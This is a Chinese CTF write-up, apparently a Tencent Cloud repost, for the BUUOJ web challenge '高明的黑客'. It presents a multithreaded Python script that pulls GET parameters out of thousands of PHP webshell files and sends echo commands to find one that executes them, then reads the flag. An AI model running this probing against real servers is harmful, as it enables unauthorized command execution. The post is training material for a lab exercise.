前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Web-高明的黑客

Web-高明的黑客

作者头像
Elapse
发布2020-08-17 14:49:53
3620
发布2020-08-17 14:49:53
举报
文章被收录于专栏:E条咸鱼E条咸鱼

这题非常有意思,在拿去D盾扫描的时候,发现3002个文件里面,有2999个文件是危险文件

但是在实际测试的时候,发现其实都利用不了,所以我们可以写个脚本来扫描

脚本思路如下

  • 获取src文件夹中的所有文件内容
  • 通过re匹配php文件的参数
  • 一个一个去请求
  • 如果页面内容包含我们的"shell",说明是可用的利用点

清楚思路后,就开始准备

先导入库,以及定义好路径这些

import os
import re
import requests
import threading
import time

path="D:\软件\脚本\项目文件\CTF题目\高明的黑客\src"
files=os.listdir(path)
url="http://471ea310-a717-48af-93a0-2f2c1ed836ac.node3.buuoj.cn/"

然后写一个匹配的规则为

...
pattern=r'$_GET[\'(.*?)\']'

然后开始扫描+测试部分

...
def get_test(filename):
    global url
    sem.acquire()
    filevalue=open("./src/"+filename)
    get_parameter=re.findall(r'\$_GET\[\'(.*?)\'\]',str(filevalue.read()))
    #post_parameter=re.findall(r'\$_POST\[\'(.*?)\'\]',file)
    if get_parameter:
        for i in get_parameter:
            a=requests.get(url=url+filename+"?"+i+"=echo \"elapse\"")
            time.sleep(1)
            if "elapse" in a.text:
                print("=====*=====")
                print("[+] "+filename+" OK")
                print("=====*=====")
    filevalue.close()
    print("[-] "+filename+" Done")
    sem.release()

这里的sem其实是后面多线程会用到的东西

Semaphore是最古老的同步原语之一,由荷兰计算机科学家 Edsger W. Dijkstra 发明。(他最早使用名为P()和V()的函数对应acquire()和release())。threading模块中,Semaphore在内部管理着一个计数器。调用acquire()会使这个计数器-1,release()则是+1。计数器的值永远不会小于 0,当计数器到0时,再调用acquire()就会阻塞,直到其他线程来调用release()。Semaphore 也支持上下文管理协议。

写完扫描测试的部分后,开始执行多线程就好了

...
pool=[]
sem=threading.Semaphore(10)

for filename in reversed(files):
    t = threading.Thread(target=get_test,args=(filename,))
    pool.append(t)

with sem:
    for i in pool:
        i.start()

这样就会以10线程开始任务扫描了,当然扫描数过多的时候网站会429,表示太多的请求,所以我在请求的部分,加上了一个time.sleep(1),给网站缓一下

执行后,等待就好了

知道哪个文件可利用后,直接上去cat flag

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-01-20,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 E条咸鱼 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档